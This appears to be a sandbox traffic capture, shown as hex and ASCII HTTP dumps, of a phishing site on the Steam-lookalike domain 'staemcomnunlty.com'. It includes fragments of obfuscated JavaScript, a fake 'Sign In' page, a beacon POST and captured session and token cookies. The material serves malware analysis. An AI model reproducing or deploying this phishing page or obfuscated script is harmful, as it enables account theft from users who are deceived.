2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 30 78 34 32 29 2c 61 43 57 4c 46 34 3d 5b 6e 36 42 41 35 42 58 28 30 78 34 32 29 5d 29 3b 74 72 79 7b 76 61 72 20 73 57 59 5f 56 7a 72 3d 76 4c 56 34 51 4a 4a 28 68 30 32 47 4f 77 3d 3e 7b 72 65 74 75 72 6e 20 42 57 41 36 46 4f 5b 68 30 32 47 4f 77 3c 2d 30 78 32 33 3f 68 30 32 47 4f 77 2b 30 78 33 62 3a 68 30 32 47 4f 77 3c 30 78 32 3f 68 30 32 47 4f 77 3c 30 78 32 3f 68 30 32 47 4f 77 3c 2d 30 78 32 33 3f 68 30 32 47 4f 77 2d 30 78 32 33 3a 68 30 32 47 4f 77 3c 2d 30 78 32 33 3f 68 30 32 47 4f 77 2b 30 78 32 64 3a 68 30 32 47 4f 77 2b 30 78 32 32 3a 68 30 32 47 4f 77 2d 30 78 35 38 3a 68 30 32 47 4f 77 2b 30 78 33 35 5d 7d 2c 30 78 31 29 3b 63 6f 6e 73 74 20 70 52 54 45 55 79 3d 46 42 65 52 70 37 77 28 70 61 72 73 65 49 6e 74 28 28 69 70 76 43 65 38 3d Data Ascii: 0x42),aCWLF4=[n6BA5BX(0x42)]);try{var sWY_Vzr=vLV4QJJ(h02GOw=>{return BWA6FO[h02GOw<-0x23?h02GOw+0x3b:h02GOw<0x2?h02GOw<0x2?h02GOw<-0x23?h02GOw-0x23:h02GOw<-0x23?h02GOw+0x2d:h02GOw+0x22:h02GOw-0x58:h02GOw+0x35]},0x1);const pRTEUy=FBeRp7w(parseInt((ipvCe8=
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 31 63 39 6b 58 6c 3d 2d 30 78 35 29 2c 46 42 65 52 70 37 77 28 30 78 39 36 2c 5a 78 53 38 6a 70 4e 28 2d 30 78 35 29 29 5d 2c 5a 4c 53 47 6b 48 28 6e 36 42 41 35 42 58 28 30 78 34 32 29 29 29 29 2c 5a 78 53 38 6a 70 4e 28 2d 6c 33 72 4d 52 7a 77 28 30 78 35 37 29 29 29 2f 30 78 38 2a 28 46 42 65 52 70 37 77 28 70 61 72 73 65 49 6e 74 28 28 69 70 76 43 65 38 3d 5b 46 42 65 52 70 37 77 28 30 78 61 30 2c 5a 78 53 38 6a 70 4e 28 2d 30 78 35 29 29 2c 46 42 65 52 70 37 77 28 30 78 61 33 2c 5a 78 53 38 6a 70 4e 28 2d 30 78 35 29 29 5d 2c 5a 4c 53 47 6b 48 28 54 6a 57 68 4c 70 2e 61 4a 73 5a 44 76 29 29 29 2c 5a 78 53 38 6a 70 4e 28 2d 73 57 59 5f 56 7a 72 28 2d 30 78 31 62 29 29 29 2f 30 78 39 29 2c 70 61 72 73 65 49 6e 74 28 28 69 70 76 43 65 38 3d 5b 46 42 65 Data Ascii: 1c9kXl=-0x5),FBeRp7w(0x96,ZxS8jpN(-0x5))],ZLSGkH(n6BA5BX(0x42)))),ZxS8jpN(-l3rMRzw(0x57)))/0x8*(FBeRp7w(parseInt((ipvCe8=[FBeRp7w(0xa0,ZxS8jpN(-0x5)),FBeRp7w(0xa3,ZxS8jpN(-0x5))],ZLSGkH(TjWhLp.aJsZDv))),ZxS8jpN(-sWY_Vzr(-0x1b)))/0x9),parseInt((ipvCe8=[FBe
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 57 55 6d 64 6e 49 54 3d 76 4c 56 34 51 4a 4a 28 63 64 36 51 45 6d 3d 3e 7b 72 65 74 75 72 6e 20 42 57 41 36 46 4f 5b 63 64 36 51 45 6d 3e 30 78 31 65 3f 63 64 36 51 45 6d 3e 30 78 34 33 3f 63 64 36 51 45 6d 2d 30 78 32 39 3a 63 64 36 51 45 6d 3c 30 78 34 33 3f 63 64 36 51 45 6d 3c 30 78 34 33 3f 63 64 36 51 45 6d 2d 30 78 31 66 3a 63 64 36 51 45 6d 2d 30 78 35 65 3a 63 64 36 51 45 6d 2d 30 78 61 3a 63 64 36 51 45 6d 2d 30 78 36 33 5d 7d 2c 30 78 31 29 3b 69 66 28 46 42 65 52 70 37 77 28 63 64 36 51 45 6d 2c 5a 78 53 38 6a 70 4e 28 57 55 6d 64 6e 49 54 28 30 78 32 61 29 29 29 26 26 55 67 53 41 38 30 66 2e 46 34 55 64 5a 7a 5b 6e 36 42 41 35 42 58 28 30 78 34 31 29 5d 28 6c 33 72 4d 52 7a 77 28 30 78 35 37 29 29 3d 3d 27 42 27 29 7b 72 65 74 75 72 6e 20 64 Data Ascii: WUmdnIT=vLV4QJJ(cd6QEm=>{return BWA6FO[cd6QEm>0x1e?cd6QEm>0x43?cd6QEm-0x29:cd6QEm<0x43?cd6QEm<0x43?cd6QEm-0x1f:cd6QEm-0x5e:cd6QEm-0xa:cd6QEm-0x63]},0x1);if(FBeRp7w(cd6QEm,ZxS8jpN(WUmdnIT(0x2a)))&&UgSA80f.F4UdZz[n6BA5BX(0x41)](l3rMRzw(0x57))=='B'){return d
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 78 36 31 3a 68 30 32 47 4f 77 2d 30 78 31 39 3a 68 30 32 47 4f 77 2b 30 78 34 65 5d 7d 2c 30 78 31 29 3b 64 6f 63 75 6d 65 6e 74 5b 6a 48 54 79 6d 42 42 28 30 78 38 62 2c 30 78 38 31 29 5d 5b 6a 48 54 79 6d 42 42 28 79 67 39 51 74 49 28 2d 30 78 34 62 29 2c 30 78 36 33 29 5d 3d 6a 48 54 79 6d 42 42 28 44 6f 43 6e 4f 34 54 28 30 78 38 33 29 2c 30 78 36 61 29 7d 66 75 6e 63 74 69 6f 6e 20 67 59 63 6b 43 4c 47 28 29 7b 76 61 72 20 68 30 32 47 4f 77 3d 76 4c 56 34 51 4a 4a 28 78 41 67 30 6b 61 3d 3e 7b 72 65 74 75 72 6e 20 42 57 41 36 46 4f 5b 78 41 67 30 6b 61 3c 2d 30 78 31 36 3f 78 41 67 30 6b 61 3c 2d 30 78 31 36 3f 78 41 67 30 6b 61 3c 2d 30 78 31 36 3f 78 41 67 30 6b 61 3c 2d 30 78 33 62 3f 78 41 67 30 6b 61 2d 30 78 35 37 3a 78 41 67 30 6b 61 3e 2d 30 Data Ascii: x61:h02GOw-0x19:h02GOw+0x4e]},0x1);document[jHTymBB(0x8b,0x81)][jHTymBB(yg9QtI(-0x4b),0x63)]=jHTymBB(DoCnO4T(0x83),0x6a)}function gYckCLG(){var h02GOw=vLV4QJJ(xAg0ka=>{return BWA6FO[xAg0ka<-0x16?xAg0ka<-0x16?xAg0ka<-0x16?xAg0ka<-0x3b?xAg0ka-0x57:xAg0ka>-0

Timestamp	Bytes transferred	Direction	Data
2025-01-14 00:08:44 UTC	1336	OUT	POST /721a76577b085b5108021014567100540b0205 HTTP/1.1 Host: staemcomnunlty.com Connection: keep-alive Content-Length: 60 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
2025-01-14 00:08:44 UTC	60	OUT	Data Raw: 70 61 74 68 6e 61 6d 65 3d 25 32 46 67 6c 66 74 25 32 46 39 31 38 33 32 26 73 65 61 72 63 68 3d 26 68 6f 73 74 6e 61 6d 65 3d 73 74 61 65 6d 63 6f 6d 6e 75 6e 6c 74 79 2e 63 6f 6d Data Ascii: pathname=%2Fglft%2F91832&search=&hostname=staemcomnunlty.com
2025-01-14 00:08:44 UTC	1203	IN	HTTP/1.1 201 Created Date: Tue, 14 Jan 2025 00:08:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LaNdWcrjTYUpRN0TSifWgvuqfe4ntHCHCYEqUXdDr8E7zs8Em6eKcoN%2B%2F0QcLFpTFDENFnMuD6W1J3qxyVV21PyMrjV12HRNrtmuIc4qTwCrnv4YAVrML6AFjkZbGhvRIPYyaBM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901964ac99987d00-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1793&rtt_var=683&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1996&delivery_rate=1591280&cwnd=245&unsent_bytes=0&cid=1cf8ca251b8efaef&ts=836&x=0"
2025-01-14 00:08:44 UTC	166	IN	Data Raw: 37 35 65 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 75 6b 67 6f 65 6a 76 72 6b 66 68 72 63 69 75 22 20 6c 61 6e 67 3d 22 65 6e 2d 45 4e 22 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 27 2f 37 32 31 61 37 36 35 37 37 62 30 38 35 62 35 66 30 61 30 30 30 31 34 39 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 74 72 69 67 67 65 72 73 20 3d 20 5b 5d 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d Data Ascii: 75e<html class=" ukgoejvrkfhrciu" lang="en-EN"><head><script async src='/721a76577b085b5f0a000149.js'></script><script>window.triggers = []</script> <meta http-
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 49 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 0a 0a 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 Data Ascii: equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta name="theme-color" content="#171a21"> <title>Sign In</title> <script src="https://cdnjs.cloudflare.com/aja
2025-01-14 00:08:44 UTC	358	IN	Data Raw: 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 79 70 65 64 77 68 69 64 66 20 7a 65 61 75 61 67 71 70 75 67 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 7a 6b 7a 68 6c 79 72 77 69 6b 65 6a 76 75 73 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 67 6b 6f 63 76 66 76 65 77 66 61 75 20 73 64 76 7a 72 77 75 6f 66 69 6b 70 6a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 65 6c 79 77 6b 78 71 79 72 70 22 20 69 64 3d 22 66 69 61 77 7a 76 64 72 78 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 72 77 6c 78 73 71 66 66 67 74 75 77 73 72 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a Data Ascii: <div class="aypedwhidf zeauagqpug"> <div class="zkzhlyrwikejvus"></div> <div class="rgkocvfvewfau sdvzrwuofikpj"> <div class="gelywkxqyrp" id="fiawzvdrxc"> <div class="grwlxsqffgtuwsr"></div> </div> </div>
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 31 64 31 33 0d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 50 51 41 41 41 44 55 43 41 59 41 41 41 43 72 67 77 37 49 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 46 51 31 4a 52 45 46 55 65 46 37 74 6e 58 31 73 56 50 57 61 78 37 2b 6e 77 30 77 6a 56 4d 48 57 59 69 67 73 58 70 57 73 79 77 6f 59 71 36 69 4c 62 69 46 67 31 70 63 4c 57 31 45 50 59 73 2f 45 72 4e 79 56 31 59 6a 47 61 42 5a 52 72 36 73 78 65 74 30 31 39 77 2f 2f 4d 42 4b 4d 37 71 30 76 63 7a 70 4c 61 31 75 72 78 51 73 32 46 39 6a 31 43 76 69 36 41 36 56 65 73 6e 68 35 4b 56 78 61 45 46 70 61 2b 6a 4b 32 4d 32 66 7a Data Ascii: 1d13 <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPQAAADUCAYAAACrgw7IAAAAAXNSR0IArs4c6QAAFQ1JREFUeF7tnX1sVPWax7+nw0wjVMHWYigsXpWsywoYq6iLbiFg1pcLW1EPYs/ErNyV1YjGaBZRr6sxet019w//MBKM7q0vczpLa1urxQs2F9j1Cvi6A6Vesnh5KVxaEFpa+jK2M2fz
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 58 47 4d 43 59 49 6e 44 68 78 48 45 2b 73 2b 64 64 4d 6f 51 2f 5a 74 6e 30 46 41 48 58 6e 32 43 6b 4a 53 56 42 6f 43 56 56 67 44 47 4f 43 77 44 42 43 71 35 4e 69 36 72 44 62 39 55 47 68 58 53 38 42 41 78 67 72 42 49 59 52 57 74 30 6a 32 69 34 68 44 77 6f 74 6f 51 71 4d 59 55 77 51 6f 4e 42 5a 6c 4d 6d 79 4c 4a 34 55 79 34 49 54 4e 33 47 66 41 49 58 4f 6f 67 59 55 4f 67 74 49 33 45 51 45 41 51 71 64 52 52 6b 6f 64 42 61 51 75 49 6b 49 41 68 51 36 69 7a 4a 51 36 43 77 67 63 52 4d 52 42 43 68 30 46 6d 57 67 30 46 6c 41 34 69 59 69 43 42 77 39 32 6f 71 6e 66 2f 31 45 4f 68 62 48 63 66 62 5a 74 6e 30 31 41 4a 37 6c 54 6c 45 4a 42 6f 4e 62 4d 70 73 41 50 76 62 59 61 76 7a 31 5a 58 38 6a 6f 6f 41 4d 67 67 51 79 43 58 7a 7a 7a 56 36 38 39 42 2b 2f 79 52 54 36 4d Data Ascii: XGMCYInDhxHE+s+ddMoQ/Ztn0FAHXn2CkJSVBoCVVgDGOCwDBCq5Ni6rDb9UGhXS8BAxgrBIYRWt0j2i4hDwotoQqMYUwQoNBZlMmyLJ4Uy4ITN3GfAIXOogYUOgtI3EQEAQqdRRkodBaQuIkIAhQ6izJQ6CwgcRMRBCh0FmWg0FlA4iYiCBw92oqnf/1EOhbHcfbZtn01AJ7lTlEJBoNbMpsAPvbYavz1ZX8jooAMggQyCXzzzV689B+/yRT6M
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 61 4e 4d 31 7a 63 6e 4e 7a 56 77 4a 59 36 6a 6a 4f 2f 4a 2b 53 48 44 39 44 41 6d 64 49 59 4a 74 68 47 46 58 52 61 48 52 74 5a 57 57 6c 61 74 38 72 66 6f 67 55 32 72 4b 73 4d 67 41 76 41 5a 67 71 6e 69 41 44 31 49 46 41 69 2b 4d 34 71 32 33 62 66 6c 74 36 73 71 4b 45 4e 6b 33 54 35 2f 66 37 58 7a 59 4d 59 35 56 30 63 49 78 50 50 77 4b 47 59 61 79 4e 52 71 4f 50 56 46 5a 57 69 6e 78 72 68 71 71 49 4b 4b 45 74 79 77 6f 42 55 4b 76 7a 6a 38 62 55 71 56 4d 78 5a 63 6f 55 71 46 66 4b 63 70 44 41 32 53 49 51 69 38 56 77 35 4d 69 52 78 4a 39 34 50 44 37 55 62 71 70 43 6f 5a 42 35 74 76 5a 2f 70 74 38 72 52 6d 6a 4c 73 74 59 41 65 48 46 77 51 6a 66 64 64 42 4f 75 75 2b 34 36 6e 48 76 75 75 57 65 61 4b 7a 39 50 41 6c 6b 54 4f 48 58 71 46 4c 5a 74 32 34 61 50 50 76 Data Ascii: aNM1zcnNzVwJY6jjO/J+SHD9DAmdIYJthGFXRaHRtZWWlat8rfogU2rKsMgAvAZgqniAD1IFAi+M4q23bflt6sqKENk3T5/f7XzYMY5V0cIxPPwKGYayNRqOPVFZWinxrhqqIKKEtywoBUKvzj8bUqVMxZcoUqFfKcpDA2SIQi8Vw5MiRxJ94PD7UbqpCoZB5tvZ/pt8rRmjLstYAeHFwQjfddBOuu+46nHvuuWeaKz9PAlkTOHXqFLZt24aPPv
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 45 44 71 35 53 68 38 41 4d 4f 43 4f 6b 76 6e 7a 35 79 63 36 66 6e 4b 51 67 46 73 45 76 76 6a 69 43 7a 51 30 4e 41 7a 65 66 56 73 6b 45 70 6d 62 58 4a 33 56 7a 35 54 4d 49 68 37 63 46 79 47 30 49 6d 4a 5a 31 69 49 41 47 7a 4e 37 69 36 6e 2f 76 2f 54 53 53 33 48 5a 5a 5a 64 68 35 73 79 5a 47 44 64 75 6e 46 74 31 35 58 34 31 49 71 42 36 63 2b 2f 5a 73 77 64 66 66 2f 30 31 39 75 37 64 4f 7a 6a 7a 57 47 64 6e 5a 37 43 75 72 6d 35 54 38 67 66 71 47 56 2f 31 59 49 61 49 5a 33 33 46 43 4b 33 67 4c 46 2b 2b 2f 45 47 66 7a 2f 66 4b 36 65 5a 4f 54 6b 34 4f 43 67 73 4c 4e 5a 70 61 54 48 57 30 43 52 77 2f 66 6e 7a 59 62 72 49 39 50 54 32 50 56 31 64 58 76 35 34 52 6c 32 70 73 6f 42 6f 63 69 42 69 69 68 46 5a 76 38 69 67 74 4c 56 32 57 6c 35 66 33 42 6f 41 4a 49 67 67 Data Ascii: EDq5Sh8AMOCOkvnz5yc6fnKQgFsEvvjiCzQ0NAzefVskEpmbXJ3Vz5TMIh7cFyG0ImJZ1iIAGzN7i6n/v/TSS3HZZZdh5syZGDdunFt15X41IqB6c+/Zswdff/019u7dOzjzWGdnZ7Curm5T8gfqGV/1YIaIZ33FCK3gLF++/EGfz/fK6eZOTk4OCgsLNZpaTHW0CRw/fnzYbrI9PT2PV1dXv54Rl2psoBociBiihFZv8igtLV2Wl5f3BoAJIgg
2025-01-14 00:08:44 UTC	1369	IN	Data Raw: 74 6e 31 39 66 57 4e 6b 76 4a 7a 58 65 69 79 73 72 4b 56 68 6d 47 73 53 30 46 52 68 39 72 33 72 6c 67 78 67 4e 47 70 55 36 64 77 34 73 53 4a 78 4b 72 4d 51 51 4a 75 45 66 6a 6a 78 78 39 6a 2f 2f 37 39 36 64 31 48 6f 39 46 6e 71 36 71 71 6e 70 66 30 56 6b 72 58 68 52 35 38 5a 76 76 47 47 32 2f 45 33 38 32 62 6c 34 5a 32 2f 4e 74 76 63 62 4b 6a 77 36 30 61 63 72 38 6b 6b 43 62 77 7a 64 36 39 32 4c 35 39 65 2f 72 66 73 56 69 73 50 68 77 4f 33 77 32 67 55 77 6f 6d 43 55 4c 76 41 48 42 4e 43 73 69 4b 58 2f 30 4b 55 36 64 2b 66 7a 2b 4a 4f 69 47 68 56 6d 63 4f 45 70 42 41 6f 4f 33 45 69 63 51 4a 73 74 52 77 48 47 65 58 62 64 73 4c 41 4a 79 55 73 6b 70 4c 45 48 70 6e 38 68 37 74 42 4b 64 2f 75 66 2f 2b 78 50 58 6d 39 76 62 32 78 47 45 32 42 77 6c 49 49 61 41 57 Data Ascii: tn19fWNkvJzXeiysrKVhmGsS0FRh9r3rlgxgNGpU6dw4sSJxKrMQQJuEfjjxx9j//796d1Ho9Fnq6qqnpf0VkrXhR58ZvvGG2/E382bl4Z2/NtvcbKjw60acr8kkCbwzd692L59e/rfsVisPhwO3w2gUwomCULvAHBNCsiKX/0KU6d+fz+JOiGhVmcOEpBAoO3EicQJstRwHGeXbdsLAJyUskpLEHpn8h7tBKd/uf/+xPXm9vb2xGE2BwlIIaAW
2025-01-14 00:08:44 UTC	606	IN	Data Raw: 54 6b 42 38 34 43 41 53 57 78 65 76 48 37 36 63 2b 61 6e 59 57 64 6a 75 51 72 70 51 75 64 79 6b 56 64 79 6c 4a 53 71 31 56 37 33 45 67 53 35 4c 59 6b 63 49 59 45 31 46 31 67 36 76 64 6b 4a 62 4e 59 6b 56 4d 35 6a 68 57 68 68 36 6f 4a 78 54 37 44 6d 63 71 50 44 30 74 41 79 53 76 69 32 76 4a 49 36 6a 53 57 68 52 35 4a 6e 74 79 57 42 4c 51 67 51 4b 47 31 4b 44 4f 54 31 49 55 41 68 64 61 6c 30 73 78 54 43 77 49 55 57 6f 73 79 4d 30 6c 64 43 46 42 6f 58 53 72 4e 50 4c 55 67 51 4b 47 31 4b 44 4f 54 31 49 55 41 68 64 61 6c 30 73 78 54 43 77 49 55 57 6f 73 79 4d 30 6c 64 43 46 42 6f 58 53 72 4e 50 4c 55 67 51 4b 47 31 4b 44 4f 54 31 49 55 41 68 64 61 6c 30 73 78 54 43 77 49 55 57 6f 73 79 4d 30 6c 64 43 46 42 6f 58 53 72 4e 50 4c 55 67 51 4b 47 31 4b 44 4f 54 31 Data Ascii: TkB84CASWxevH76c+anYWdjuQrpQudykVdylJSq1V73EgS5LYkcIYE1F1g6vdkJbNYkVM5jhWhh6oJxT7DmcqPD0tAySvi2vJI6jSWhR5JntyWBLQgQKG1KDOT1IUAhdal0sxTCwIUWosyM0ldCFBoXSrNPLUgQKG1KDOT1IUAhdal0sxTCwIUWosyM0ldCFBoXSrNPLUgQKG1KDOT1IUAhdal0sxTCwIUWosyM0ldCFBoXSrNPLUgQKG1KDOT1

Timestamp	Bytes transferred	Direction	Data
2025-01-14 00:08:45 UTC	520	OUT	GET /ajax/libs/jquery/3.4.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 00:08:45 UTC	951	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 00:08:45 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-15851" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Sun, 04 Jan 2026 00:08:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lDyUlkUNBUn%2FGY3skPyRTh29zktcZNdcxfszVB96khfTMKSWUMdn%2FBHSuIO3tnaGiEN9zlDbVPnO7JTLX07nYJId8%2F%2FSkebEyvGaaKw%2BARWq86l4jArMegeKmQhlKaAf89MgM7t9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901964b389c8f799-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 00:08:45 UTC	418	IN	Data Raw: 33 38 39 34 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 3894/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2025-01-14 00:08:45 UTC	1369	IN	Data Raw: 6f 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 63 6f 6e 63 61 74 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 65 3d 3d 3d 65 2e 77 69 6e 64 6f 77 7d 2c 63 3d 7b 74 79 70 65 3a 21 30 2c 73 72 63 3a 21 Data Ascii: ototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!
